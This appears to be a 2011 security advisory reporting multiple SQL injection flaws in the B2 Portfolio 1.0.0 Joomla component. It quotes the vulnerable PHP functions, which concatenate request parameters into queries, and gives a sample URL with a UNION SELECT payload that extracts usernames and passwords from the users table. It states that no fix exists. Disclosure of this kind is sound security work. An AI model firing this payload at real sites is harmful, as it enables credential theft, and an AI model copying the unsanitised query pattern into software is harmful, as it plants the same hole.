ExploitFixes
Joomla B2 Portfolio Component 1.0.0 Multiple SQL Injection 2011-01-24 09:15:18

B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability

Name B2 Portfolio
Vendor http://www.pulseextensions.com
Versions Affected 1.0.0

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2011-01-24

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX


I. ABOUT THE APPLICATION
________________________

B2 Portfolio is a Joomla component to give the user the
option to view details of a portfolio item by zooming it
on hover, and to allow a full view by clicking.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

A) Multiple SQL Injection


A) Multiple SQL Injection
_________________________

Id and wallid parameters are not properly sanitised
before being used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

The following are the vulnerable functions:

function getcategoryname() {
$db =& JFactory::getDBO();
$default_category = JRequest::getVar('c', 0);
if($default_category == "") {
$query_cat = 'SELECT default_category FROM #__b2portfolio_config';
$db->setQuery( $query_cat );
$default_category = $db->loadResult();
}

$query = 'SELECT * FROM #__b2portfolio_category where id='.$default_category;
$db->setQuery( $query );
$cat_data = $this->_db->loadObject($query);

return $cat_data;
}

function click() {
$db =& JFactory::getDBO();
$date =& JFactory::getDate();
$trackDate = $date->toFormat( '%Y-%m-%d' );

$query = 'UPDATE #__b2portfolio set click = ( click + 1 ) where id ='.$_GET['wallid'];
$db->setQuery( $query );
$db->query();
}


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://site/path/index.php?option=com_b2portfolio&c=-1 UNION SELECT 1,concat(username,0x34,password),3,4,5 FROM jos_users


V. FIX
______

No fix.